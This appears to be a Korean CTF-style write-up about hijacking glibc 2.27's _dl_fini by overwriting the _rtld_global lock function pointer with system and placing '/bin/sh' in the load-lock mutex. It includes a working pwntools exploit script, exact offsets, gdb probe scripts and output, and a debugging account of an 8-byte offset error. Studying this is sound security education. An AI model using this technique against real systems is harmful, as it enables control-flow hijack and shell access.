main์ด ๋ฆฌํ„ดํ•˜๋ฉด __libc_start_main์ด exit()๋ฅผ ๋ถ€๋ฅด๊ณ , exit๋Š” __run_exit_handlers๋กœ ๋“ฑ๋ก๋œ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์—ญ์ˆœ์œผ๋กœ ๋Œ๋ฆฐ๋‹ค. ๊ทธ ๋ชฉ๋ก์˜ ๋งจ ๋ฐ‘๋ฐ”๋‹ฅ์— _dl_fini๊ฐ€ ์žˆ๋‹ค. __libc_start_main์ด ํ”„๋กœ๊ทธ๋žจ ์‹œ์ž‘ ์งํ›„ ์ œ์ผ ๋จผ์ € ๋“ฑ๋กํ•ด ๋‘๊ธฐ ๋•Œ๋ฌธ์— ์ œ์ผ ๋งˆ์ง€๋ง‰์— ๋ถˆ๋ฆฐ๋‹ค.

_dl_fini๋Š” ๋กœ๋“œ๋œ ์˜ค๋ธŒ์ ํŠธ๋“ค์˜ ์†Œ๋ฉธ์ž๋ฅผ ๋Œ๋ฆฌ๋Š” ํ•จ์ˆ˜๋‹ค. ๊ทธ ์•ž์—์„œ ๋ฝ์„ ์žก๋Š”๋‹ค. glibc 2.27์˜ elf/dl-fini.c๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

void
_dl_fini (void)
{
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
 
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      if (nloaded == 0)
        __rtld_lock_unlock_recursive (GL(dl_load_lock));
      else
        {
          /* ... ์†Œ๋ฉธ์ž ์‹คํ–‰ ... */
        }
    }
}

์—ฌ๊ธฐ์„œ __rtld_lock_lock_recursive๋Š” ํ•จ์ˆ˜๊ฐ€ ์•„๋‹ˆ๋ผ ๋งคํฌ๋กœ๋‹ค. sysdeps/generic/ldsodefs.h์—์„œ ์ด๋ ‡๊ฒŒ ํŽผ์ณ์ง„๋‹ค.

#define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)

GL(x)๋Š” _rtld_global._##x๋ฅผ ๋œปํ•˜๋Š” ๋งคํฌ๋กœ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์‹ค์ œ๋กœ ์‹คํ–‰๋˜๋Š” ์ฝ”๋“œ๋Š”

_rtld_global._dl_rtld_lock_recursive (&_rtld_global._dl_load_lock.mutex);

ํ˜ธ์ถœ ๋Œ€์ƒ๋„ ์ธ์ž๋„ ๊ฐ™์€ ๊ตฌ์กฐ์ฒด ์•ˆ์— ์žˆ๋‹ค. ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ system์œผ๋กœ ๋ฐ”๊พธ๊ณ  ์ธ์ž๋กœ ๋„˜์–ด๊ฐ€๋Š” ๋ฎคํ…์Šค ์ž๋ฆฌ์— /bin/sh๋ฅผ ์จ ๋‘๋ฉด, ์ข…๋ฃŒํ•  ๋•Œ ๋ง์ปค๊ฐ€ ์•Œ์•„์„œ ์…ธ์„ ๋„์šด๋‹ค. ๋ฝ์„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ๋‘” ์ด์œ ๋Š” ์Šค๋ ˆ๋“œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์œ ๋ฌด์— ๋”ฐ๋ผ ๊ตฌํ˜„์„ ๊ฐˆ์•„๋ผ์šฐ๊ธฐ ์œ„ํ•ด์„œ์ธ๋ฐ, ๊ทธ ์œ ์—ฐ์„ฑ์ด ๊ทธ๋Œ€๋กœ ๊ณต๊ฒฉ๋ฉด์ด ๋๋‹ค.

_dl_fini๋Š” ld.so ์–ด๋””์— ์žˆ๋‚˜

ld.so๋Š” ์ŠคํŠธ๋ฆฝ๋ผ ์žˆ๊ณ  _dl_fini๋Š” export๋˜์ง€๋„ ์•Š์•„์„œ ์‹ฌ๋ณผ๋กœ๋Š” ๋ชป ์ฐพ๋Š”๋‹ค. ๋‘ ๊ฐ€์ง€๋กœ ์ขํ˜”๋‹ค.

ํ•˜๋‚˜๋Š” ์ •์  ๊ฒ€์ƒ‰์ด๋‹ค. _dl_fini๋Š” ์‹œ์ž‘ํ•˜์ž๋งˆ์ž GL(dl_nns)๋ฅผ ์ฝ์œผ๋‹ˆ _rtld_global+0x900(= 0x228960)์„ ์ฐธ์กฐํ•˜๋Š” ๊ณณ์„ ์ „๋ถ€ ๋ฝ‘์•„ ๋ณด๋ฉด ํ›„๋ณด๊ฐ€ ๋‚˜์˜จ๋‹ค.

objdump -d -M intel --no-show-raw-insn extracted/ld-2.27.so > /tmp/ld227.asm
grep -n "# 228960" /tmp/ld227.asm
   485:    15ab:  mov    rax,QWORD PTR [rip+0x2273ae]   # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
  7399:    8e22:  cmp    QWORD PTR [rip+0x21fb37],r9    # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
 14688:   109b1:  mov    r12,QWORD PTR [rip+0x217fa8]   # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
 14865:   10c8a:  mov    r12,QWORD PTR [rip+0x217ccf]   # 228960 <_rtld_global@@GLIBC_PRIVATE+0x900>
 ...

109b1์€ sub r12,1 โ†’ js(์Œ์ˆ˜๋ฉด ํƒˆ์ถœ)๋กœ ์ด์–ด์ง„๋‹ค. ์†Œ์Šค์˜ for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)์™€ ๋ชจ์–‘์ด ๊ฐ™๋‹ค.

๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” ๋Ÿฐํƒ€์ž„ ํ™•์ธ์ด๋‹ค. ๋™์  ๋งํฌ๋œ ํ”„๋กœ๊ทธ๋žจ์˜ _start๋Š” rdx์— rtld_fini, ์ฆ‰ _dl_fini์˜ ์ฃผ์†Œ๋ฅผ ๋‹ด์•„ __libc_start_main์— ๋„˜๊ธด๋‹ค. ์‹คํ–‰ ํŒŒ์ผ ์—”ํŠธ๋ฆฌ(0x6d0)์—์„œ ๋ฉˆ์ถฐ rdx๋ฅผ ์ฝ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

rdx at _start (rtld_fini) = 0x7ffff7c109a0  ->  ld + 0x109a0   [_dl_fini]

์ •์ ์œผ๋กœ ์งš์€ 109b1์ด ํ•จ์ˆ˜ ์•ž๋จธ๋ฆฌ 109a0 ์•ˆ์ด๋‹ˆ ๋‘˜์ด ๋งž์•„๋–จ์–ด์ง„๋‹ค.

์ปดํŒŒ์ผ๋œ ๊ฒฐ๊ณผ๋กœ ํ™•์ธ

์†Œ์Šค๊ฐ€ ๊ทธ๋ ‡๋‹ค๊ณ  ํ•ด์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋„ ๊ทธ๋Ÿฐ์ง€๋Š” ๋ด์•ผ ์•ˆ๋‹ค. ld.so๋Š” ์ŠคํŠธ๋ฆฝ๋ผ ์žˆ์ง€๋งŒ _rtld_global์€ ๋™์  ์‹ฌ๋ณผ์ด๋ผ objdump๊ฐ€ ์ฐธ์กฐ ์ง€์ ์„ _rtld_global+์˜คํ”„์…‹ ํ˜•ํƒœ๋กœ ๋‹ฌ์•„ ์ค€๋‹ค. _dl_fini ์•ž๋ถ€๋ถ„๋งŒ ์ž˜๋ผ ๋ดค๋‹ค.

objdump -d -M intel --no-show-raw-insn --start-address=0x109a0 --stop-address=0x10a16 extracted/ld-2.27.so | sed -f annot_dlfini.sed

annot_dlfini.sed๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋‚ด๊ฐ€ ๋ถ™์ธ ์ฃผ์„์ด๋‹ค.

s|^\( *109b1:.*\)|\1   <-- GL(dl_nns) = _rtld_global+0x900 ๋กœ๋“œ|
s|^\( *109e0:.*\)|\1   <-- rdi = \&_dl_load_lock.mutex|
s|^\( *109e7:.*\)|\1   <-- unlock ํ•จ์ˆ˜ ํฌ์ธํ„ฐ (+0xf08) ํ˜ธ์ถœ|
s|^\( *10a02:.*\)|\1   <-- rdi = \&_dl_load_lock.mutex|
s|^\( *10a09:.*\)|\1   <-- โ˜… lock ํ•จ์ˆ˜ ํฌ์ธํ„ฐ (+0xf00) ํ˜ธ์ถœ = ์šฐ๋ฆฌ๊ฐ€ ๋ฎ์„ ์ž๋ฆฌ|
s|^\( *10a0f:.*\)|\1   <-- nloaded ๊ฒ€์‚ฌ|

ld.so์˜ dl_fini ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ โ€” rtld_global ์˜คํ”„์…‹ 0x900์—์„œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์ˆ˜๋ฅผ ์ฝ๊ณ  0x908์„ rdi์— ์‹ค์€ ๋’ค 0xf00์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค
ld.so์˜ dl_fini ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ โ€” rtld_global ์˜คํ”„์…‹ 0x900์—์„œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์ˆ˜๋ฅผ ์ฝ๊ณ  0x908์„ rdi์— ์‹ค์€ ๋’ค 0xf00์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค

์†Œ์Šค์™€ ํ•œ ์ค„์”ฉ ๋Œ€์‘๋œ๋‹ค.

  • 109b1: mov r12,[rip+...] โ†’ _rtld_global+0x900 = GL(dl_nns)
  • 109db: jmp 10a02 โ†’ ๋ฃจํ”„ ์ง„์ž…
  • 10a02: lea rdi,[rip+...] โ†’ _rtld_global+0x908 = &_dl_load_lock.mutex
  • 10a09: call QWORD PTR [rip+...] โ†’ _rtld_global+0xF00 โ† ์—ฌ๊ธฐ
  • 10a0f: mov edx,[rbx+8] โ†’ nloaded ๊ฒ€์‚ฌ
  • 109e0/109e7: ์–ธ๋ฝ ๊ฒฝ๋กœ. ๊ฐ™์€ rdi๋กœ _rtld_global+0xF08์„ ๋ถ€๋ฅธ๋‹ค

ํ•จ์ˆ˜ ์ด๋ฆ„ ์ž๋ฆฌ์— _dl_rtld_di_serinfo@@GLIBC_PRIVATE+0x6e10 ๊ฐ™์€ ๊ฒŒ ๋ถ™๋Š” ๊ฑด ld.so๊ฐ€ ์ŠคํŠธ๋ฆฝ๋ผ์„œ objdump๊ฐ€ ๊ฐ€์žฅ ๊ฐ€๊นŒ์šด ๋™์  ์‹ฌ๋ณผ ๊ธฐ์ค€์œผ๋กœ ์ด๋ฆ„์„ ๋ถ™์ด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. _dl_fini๋Š” export๋˜์ง€ ์•Š์•„์„œ ์ด๋ฆ„์ด ์•ˆ ๋‚˜์˜จ๋‹ค. ์‹ค์ œ ํ•จ์ˆ˜ ๊ฒฝ๊ณ„์™€๋Š” ๋ฌด๊ด€ํ•˜๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” +0xF00์ธ๊ฐ€ +0xF08์ธ๊ฐ€

๊ตฌ์กฐ์ฒด ์˜คํ”„์…‹์„ ์†์œผ๋กœ ๊ณ„์‚ฐํ•ด ๋ณผ ์ˆ˜๋„ ์žˆ๋‹ค.

struct link_namespaces {
  struct link_map *_ns_loaded;                // 8   โ†’ 0x00
  unsigned int _ns_nloaded;                   // 4+4 โ†’ 0x08
  struct r_scope_elem *_ns_main_searchlist;   // 8   โ†’ 0x10
  unsigned int _ns_global_scope_alloc;        // 4   โ†’ 0x18
  unsigned int _ns_global_scope_pending_adds; // 4   โ†’ 0x1c
  struct unique_sym_table _ns_unique_sym_table; // 72 โ†’ 0x20
  struct r_debug _ns_debug;                   // 40  โ†’ 0x68
};                                            // ํ•ฉ๊ณ„ 0x90

_dl_ns[16]์ด 0x90 * 16 = 0x900, ๊ทธ ๋’ค์— _dl_nns(8๋ฐ”์ดํŠธ)๊ฐ€ ๋ถ™์–ด 0x908, ๊ฑฐ๊ธฐ์„œ๋ถ€ํ„ฐ pthread_mutex_t(40๋ฐ”์ดํŠธ)์ธ _dl_load_lock์ด ์‹œ์ž‘ํ•œ๋‹ค. 0x900๊ณผ 0x908์€ ๋””์Šค์–ด์…ˆ๋ธ”๋ฆฌ์™€ ์ •ํ™•ํžˆ ๋งž์•˜๋‹ค.

๋ฌธ์ œ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ์ชฝ์ด๋‹ค. ๊ตฌ์กฐ์ฒด ๋’ท๋ถ€๋ถ„์€ ํ•„๋“œ๊ฐ€ ์Šค๋ฌด ๊ฐœ ๋„˜๊ฒŒ ์ด์–ด์ง€๊ณ  ๋นŒ๋“œ ์˜ต์…˜์— ๋”ฐ๋ผ ์žˆ๋‹ค ์—†๋‹ค ํ•˜๋Š” ๊ฒƒ๋„ ์„ž์—ฌ ์žˆ๋‹ค. ์†์œผ๋กœ ์„ธ๋‹ค ํ‹€๋ ธ๋‹ค.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ โ€” 8๋ฐ”์ดํŠธ ์–ด๊ธ‹๋‚˜์„œ ์…ธ์ด `/bin0sh`๋ฅผ ์ฐพ์•˜๋‹ค

์ฒ˜์Œ ๋งŒ๋“  ์Šคํฌ๋ฆฝํŠธ๋Š” _rtld_global+0xF08์„ lock ํฌ์ธํ„ฐ๋กœ ์•Œ๊ณ  ๊ฑฐ๊ธฐ์— system์„ ์ผ๋‹ค. ์ต์Šค๋Š” ์กฐ์šฉํžˆ ๋๋‚ฌ๊ณ  ์…ธ์€ ๋œจ์ง€ ์•Š์•˜๋‹ค. ๋„์ปค ๋ณต์ œ๋ณธ์œผ๋กœ ๋ถ™์—ˆ์„ ๋• ๊ทธ๋ƒฅ ์—ฐ๊ฒฐ์ด ๋Š๊ฒผ๋‹ค.

์ฃผ์†Œ๊ฐ€ ํ‹€๋ฆฐ ๊ฑด์ง€ ๊ธฐ๋ฒ•์ด ํ‹€๋ฆฐ ๊ฑด์ง€ ๊ฐ€๋ฅด๋ ค๊ณ , /proc/<pid>/maps์—์„œ ์ง„์งœ ๋ฒ ์ด์Šค๋ฅผ ์ฝ์–ด delta ๋ถˆํ™•์‹ค์„ฑ์„ ์™„์ „ํžˆ ์—†์•ค ๋””๋ฒ„๊ทธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋”ฐ๋กœ ๋งŒ๋“ค์—ˆ๋‹ค.

#!/usr/bin/env python3
# ๋””๋ฒ„๊ทธ์šฉ: /proc/<pid>/maps ๋กœ ์‹ค์ œ ld/libc ๋ฒ ์ด์Šค๋ฅผ ์ฝ์–ด delta ๋ถˆํ™•์‹ค์„ฑ์„ ์—†์•ค ๋’ค
# _rtld_global ๊ธฐ๋ฒ• ์ž์ฒด๊ฐ€ ๋™์ž‘ํ•˜๋Š”์ง€๋งŒ ํ™•์ธํ•œ๋‹ค.
#   python3 dbg_local.py            -> _dl_rtld_lock_recursive(+0xf08) ๋ฅผ system ์œผ๋กœ
#   python3 dbg_local.py 0xf10      -> _dl_rtld_unlock_recursive(+0xf10) ๋กœ (์˜คํ”„์…‹ ์ง€์ •)
import pathlib
import sys
from pwn import *
 
context.arch = "amd64"
context.log_level = "info"
 
FPTR = int(sys.argv[1], 0) if len(sys.argv) > 1 else 0xF08
 
LOCAL = str(pathlib.Path(__file__).resolve().parent / "local")
io = process(LOCAL + "/ow_rtld", cwd=LOCAL)
 
 
def bases(pid):
    r = {}
    for line in open("/proc/%d/maps" % pid):
        if "r-xp" not in line:
            continue
        if line.rstrip().endswith("libc-2.27.so"):
            r.setdefault("libc", int(line.split("-")[0], 16))
        if line.rstrip().endswith("ld-2.27.so"):
            r.setdefault("ld", int(line.split("-")[0], 16))
    return r
 
 
io.recvuntil(b"stdout: ")
leak = int(io.recvline().strip(), 16)
b = bases(io.pid)
libc, ld = b["libc"], b["ld"]
log.info("leak            %#x", leak)
log.info("libc (maps)     %#x   leak-libc = %#x", libc, leak - libc)
log.info("ld   (maps)     %#x   ld-libc   = %#x", ld, ld - libc)
 
rtld_global = ld + 0x228060
system = libc + 0x4F440
 
 
def w(addr, data):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"addr: ", str(addr).encode())
    io.sendlineafter(b"data: ", str(data).encode())
 
 
w(rtld_global + 0x908, u64(b"/bin/sh\x00"))
w(rtld_global + FPTR, system)
log.info("overwrote _rtld_global+%#x = system(%#x)", FPTR, system)
io.sendlineafter(b"> ", b"0")
 
io.sendline(b"echo SHELL_OK; id")
print(io.recvrepeat(3).decode(errors="replace"))
io.close()

์ด๊ฑธ 0xF08๋กœ ๋Œ๋ ธ๋”๋‹ˆ ๋‹ต์ด ๋‚˜์™”๋‹ค.

์ž˜๋ชป๋œ ์˜คํ”„์…‹์œผ๋กœ ๋Œ๋ฆฐ ๋””๋ฒ„๊ทธ ์Šคํฌ๋ฆฝํŠธ ์ถœ๋ ฅ โ€” system์€ ์‹ค์ œ๋กœ ๋ถˆ๋ ธ์ง€๋งŒ ์ธ์ž๊ฐ€ ๊นจ์ ธ์„œ ์…ธ์ด bin0sh๋ฅผ ์ฐพ์ง€ ๋ชปํ–ˆ๋‹ค๋Š” ์˜ค๋ฅ˜๊ฐ€ ์ฐํ˜”๋‹ค
์ž˜๋ชป๋œ ์˜คํ”„์…‹์œผ๋กœ ๋Œ๋ฆฐ ๋””๋ฒ„๊ทธ ์Šคํฌ๋ฆฝํŠธ ์ถœ๋ ฅ โ€” system์€ ์‹ค์ œ๋กœ ๋ถˆ๋ ธ์ง€๋งŒ ์ธ์ž๊ฐ€ ๊นจ์ ธ์„œ ์…ธ์ด bin0sh๋ฅผ ์ฐพ์ง€ ๋ชปํ–ˆ๋‹ค๋Š” ์˜ค๋ฅ˜๊ฐ€ ์ฐํ˜”๋‹ค

sh: 1: /bin0sh: not found

system์€ ๋ถˆ๋ ธ๋‹ค. ๊ธฐ๋ฒ•์€ ๋งž์•˜๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ธ์ž๊ฐ€ /bin/sh๊ฐ€ ์•„๋‹ˆ๋ผ /bin0sh์˜€๋‹ค. 5๋ฒˆ์งธ ๋ฐ”์ดํŠธ๊ฐ€ /(0x2f)์—์„œ 0(0x30)์œผ๋กœ, ๋”ฑ 1 ๋Š˜์–ด๋‚˜ ์žˆ๋‹ค.

pthread_mutex_t์˜ ์˜คํ”„์…‹ 4์—๋Š” __count๊ฐ€ ์žˆ๋‹ค. ์žฌ๊ท€ ๋ฎคํ…์Šค๊ฐ€ ๋ช‡ ๋ฒˆ ์žกํ˜”๋Š”์ง€ ์„ธ๋Š” ํ•„๋“œ๋‹ค. ๊ทธ ์ž๋ฆฌ๋Š” ๋‚ด๊ฐ€ ์จ ๋„ฃ์€ /bin/sh์˜ 5๋ฒˆ์งธ ๋ฐ”์ดํŠธ์™€ ์ •ํ™•ํžˆ ๊ฒน์นœ๋‹ค. ๋ˆ„๊ตฐ๊ฐ€ system ํ˜ธ์ถœ ์ „์— ๊ทธ ์นด์šดํ„ฐ๋ฅผ ํ•œ ๋ฒˆ ์˜ฌ๋ฆฐ ๊ฒƒ์ด๋‹ค.

์˜ฌ๋ฆฐ ๋ฒ”์ธ์€ ์•„์ง ์•ˆ ๋ฎ์ธ ์ง„์งœ lock ํ•จ์ˆ˜์˜€๋‹ค. _dl_fini๋Š” ๋ฝ์„ ๋จผ์ € ์žก๊ณ  ์†Œ๋ฉธ์ž๋ฅผ ๋Œ๋ฆฐ ๋’ค ํ‘ผ๋‹ค. ๋‚ด๊ฐ€ ๋ฎ์€ +0xF08์€ unlock ์ชฝ์ด์—ˆ๊ณ , ๊ทธ ์ „์— ์‹คํ–‰๋œ ์ง„์งœ lock(+0xF00)์ด ++__count๋ฅผ ํ•ด ๋ฒ„๋ฆฐ ๊ฒƒ์ด๋‹ค.

๊ธฐ์–ต์œผ๋กœ ์ ์€ ์˜คํ”„์…‹ ํ•˜๋‚˜๊ฐ€ 8๋ฐ”์ดํŠธ ์–ด๊ธ‹๋‚ฌ๊ณ , ๊ทธ๊ฒŒ ๋ฌธ์ž์—ด ํ•œ ๊ธ€์ž๋ฅผ ๊ฐ‰์•„๋จน์–ด "system์€ ๋„๋Š”๋ฐ ์…ธ์€ ์•ˆ ๋œจ๋Š”" ๊ทธ๋ฆผ์ด ๋‚˜์™”๋‹ค. ์‹คํŒจ ๋ฉ”์‹œ์ง€๊ฐ€ /bin0sh๋ผ๊ณ  ์ •ํ™•ํžˆ ์ฐ์–ด ์ค€ ๊ฒŒ ์•„๋‹ˆ์—ˆ์œผ๋ฉด ํ•œ์ฐธ ํ—ค๋งธ์„ ๊ฒƒ์ด๋‹ค.

๊ธฐ์–ต์— ๊ธฐ๋Œ€์ง€ ๋ง๊ณ  ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์—์„œ ์ง์ ‘ ์ฝ๊ธฐ๋กœ ํ–ˆ๋‹ค. gdb๋ฅผ ๋ฐฐ์น˜ ๋ชจ๋“œ๋กœ ๋Œ๋ ค _rtld_global์˜ ํ•ด๋‹น ์˜คํ”„์…‹๋“ค์„ ๋คํ”„ํ•˜๊ณ , ๊ฑฐ๊ธฐ ๋“ค์–ด ์žˆ๋Š” ํฌ์ธํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ํ•จ์ˆ˜๊นŒ์ง€ ๋””์Šค์–ด์…ˆ๋ธ”ํ–ˆ๋‹ค.

set confirm off
set pagination off
set disassembly-flavor intel
 
starti
 
python
inf = gdb.inferiors()[0]
 
def bases():
    ld = libc = exe = None
    for line in gdb.execute("info proc mappings", to_string=True).splitlines():
        f = line.split()
        if len(f) < 6:
            continue
        p = f[-1]
        if p.endswith("ld-2.27.so") and ld is None:
            ld = int(f[0], 16)
        elif p.endswith("libc-2.27.so") and libc is None:
            libc = int(f[0], 16)
        elif p.endswith("/ow_rtld") and exe is None:
            exe = int(f[0], 16)
    return ld, libc, exe
 
ld, libc, exe = bases()
gdb.execute("break *%#x" % (exe + 0x6D0))
gdb.execute("continue")
ld, libc, exe = bases()
rtld_global = ld + 0x228060
 
def rd(a):
    return int.from_bytes(inf.read_memory(a, 8).tobytes(), "little")
 
print("=" * 70)
print("ld_base = %#x   _rtld_global = %#x" % (ld, rtld_global))
print("=" * 70)
for off, name in ((0x900, "_dl_nns"),
                  (0x908, "_dl_load_lock.mutex  (= _dl_fini ๊ฐ€ rdi ๋กœ ๋„˜๊ธฐ๋Š” ์ฃผ์†Œ)"),
                  (0xEF8, "?"),
                  (0xF00, "_dl_rtld_lock_recursive"),
                  (0xF08, "_dl_rtld_unlock_recursive"),
                  (0xF10, "_dl_make_stack_executable_hook")):
    v = rd(rtld_global + off)
    tag = "  -> ld+%#x" % (v - ld) if ld <= v < ld + 0x230000 else ""
    print("_rtld_global+0x%03X  %-46s = %#018x%s" % (off, name, v, tag))
print("=" * 70)
print("--- +0xF00 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ํ•จ์ˆ˜ (๊ธฐ๋ณธ lock) ---")
gdb.execute("x/8i %#x" % rd(rtld_global + 0xF00))
print("--- +0xF08 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ํ•จ์ˆ˜ (๊ธฐ๋ณธ unlock) ---")
gdb.execute("x/8i %#x" % rd(rtld_global + 0xF08))
end
quit

starti๋กœ ld.so ์ง„์ž…์ ์— ๋ฉˆ์ถ˜ ๋’ค ๋งคํ•‘์„ ์ฝ์–ด ์‹คํ–‰ ํŒŒ์ผ ๋ฒ ์ด์Šค๋ฅผ ์•Œ์•„๋‚ด๊ณ , ๊ฑฐ๊ธฐ์— ELF ์—”ํŠธ๋ฆฌ ์˜คํ”„์…‹ 0x6d0์„ ๋”ํ•œ ๊ณณ์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑด๋‹ค. ๊ทธ ์‹œ์ ์ด๋ฉด ๋ง์ปค ์ดˆ๊ธฐํ™”๊ฐ€ ๋๋‚˜ _rtld_global์ด ์ฑ„์›Œ์ ธ ์žˆ๋‹ค.

๋กœ์ปฌ ์‹คํ–‰์€ ๋ฌธ์ œ๊ฐ€ ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์“ฐ๋„๋ก ๋งž์ท„๋‹ค. patchelf๋กœ ์ธํ„ฐํ”„๋ฆฌํ„ฐ์™€ rpath๋ฅผ ๋ฐ”๊พธ๊ณ , ld.so๊ฐ€ libc.so.6์ด๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ ์ฐพ์œผ๋‹ˆ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ•˜๋‚˜ ๊ฑธ์–ด ์ค€๋‹ค.

mkdir -p local && cp extracted/ow_rtld extracted/libc-2.27.so extracted/ld-2.27.so local/
cd local
patchelf --set-interpreter "$PWD/ld-2.27.so" --set-rpath "$PWD" ow_rtld
ln -sf libc-2.27.so libc.so.6
chmod +x ow_rtld ld-2.27.so
gdb -q -batch -x cmds_probe2.gdb local/ow_rtld

gdb ๋ฐฐ์น˜ ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” rtld_global์˜ ์˜คํ”„์…‹๋ณ„ ๊ฐ’๊ณผ, 0xF00๊ณผ 0xF08์ด ๊ฐ๊ฐ ์นด์šดํ„ฐ๋ฅผ ์ฆ๊ฐ€ยท๊ฐ์†Œ์‹œํ‚ค๋Š” ๊ธฐ๋ณธ ๋ฝ ํ•จ์ˆ˜์ž„์„ ๋ณด์—ฌ์ค€๋‹ค
gdb ๋ฐฐ์น˜ ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” rtld_global์˜ ์˜คํ”„์…‹๋ณ„ ๊ฐ’๊ณผ, 0xF00๊ณผ 0xF08์ด ๊ฐ๊ฐ ์นด์šดํ„ฐ๋ฅผ ์ฆ๊ฐ€ยท๊ฐ์†Œ์‹œํ‚ค๋Š” ๊ธฐ๋ณธ ๋ฝ ํ•จ์ˆ˜์ž„์„ ๋ณด์—ฌ์ค€๋‹ค

์ด๊ฑธ๋กœ ๋๋‚ฌ๋‹ค.

์˜คํ”„์…‹ํ•„๋“œ์ดˆ๊ธฐ๊ฐ’์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฝ”๋“œ
+0x900_dl_nns1
+0x908_dl_load_lock.mutex0 (ํ’€๋ฆฐ ์ƒํƒœ)
+0xF00_dl_rtld_lock_recursiveadd DWORD PTR [rdi+0x4],0x1 ; ret
+0xF08_dl_rtld_unlock_recursivesub DWORD PTR [rdi+0x4],0x1 ; ret
+0xF10_dl_make_stack_executable_hook_dl_make_stack_executable

+0xF00์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฝ”๋“œ๊ฐ€ add DWORD PTR [rdi+0x4],1, +0xF08์ด sub DWORD PTR [rdi+0x4],1์ด๋‹ค. ์Šค๋ ˆ๋“œ๊ฐ€ ํ•˜๋‚˜๋ฟ์ธ ํ”„๋กœ๊ทธ๋žจ์ด๋ผ ๋ง์ปค๊ฐ€ ์ง„์งœ ๋ฎคํ…์Šค ๋Œ€์‹  ์นด์šดํ„ฐ๋งŒ ์˜ฌ๋ ธ๋‹ค ๋‚ด๋ฆฌ๋Š” ๊ธฐ๋ณธ ๊ตฌํ˜„์„ ๊ฝ‚์•„ ๋‘” ๊ฒƒ์ด๊ณ , /bin/sh์˜ 5๋ฒˆ์งธ ๋ฐ”์ดํŠธ๋ฅผ ๊ฐ‰์•„๋จน์€ ++๊ฐ€ ๋ˆˆ์•ž์— ๊ทธ๋Œ€๋กœ ์žˆ๋‹ค.

๋ฎ์„ ๊ณณ์€ +0xF00์ด๋‹ค.

์†์œผ๋กœ ์„ธ๋‹ค ํ‹€๋ฆฐ ์ด์œ ๋„ ์ด์ œ ๋ณด์ธ๋‹ค. +0xEF8์ด 0์ด๊ณ  +0xF10์ด _dl_make_stack_executable_hook์ด๋‹ˆ, ๋ฝ ํฌ์ธํ„ฐ ๋‘ ๊ฐœ๋Š” ๊ทธ ์‚ฌ์ด์— ๋”ฑ ๋ถ™์–ด ์žˆ๋‹ค. ๊ตฌ์กฐ์ฒด ๋’ท๋ถ€๋ถ„์—๋Š” _dl_debug_fd ๊ฐ™์€ int ํ•„๋“œ์™€ ๋นŒ๋“œ ์กฐ๊ฑด๋ถ€ ํ•„๋“œ๊ฐ€ ์„ž์—ฌ ์žˆ์–ด์„œ ์†Œ์Šค๋งŒ ๋ณด๊ณ  ๋ˆ„์  ์˜คํ”„์…‹์„ ์„ธ๋ฉด ์–ด๊ธ‹๋‚˜๊ธฐ ์‰ฝ๋‹ค. ์‹คํ–‰ ์ค‘์ธ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์ •๋‹ต์ง€๋‹ค.



๐Ÿงฎ ld.so ๋ฒ ์ด์Šค๋Š” ์–ด๋–ป๊ฒŒ ์•„๋‚˜

์—ฌ๊ธฐ์„œ ํ•œ ๊ฐ€์ง€๊ฐ€ ๋” ๋‚จ๋Š”๋‹ค. ์œ ์ถœ๋กœ ์–ป๋Š” ๊ฑด libc ๋ฒ ์ด์Šค์ธ๋ฐ, _rtld_global์€ ld.so ์•ˆ์— ์žˆ๋‹ค. ๋‘ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์ด ๊ฑฐ๋ฆฌ๋ฅผ ์•Œ์•„์•ผ ํ•œ๋‹ค.

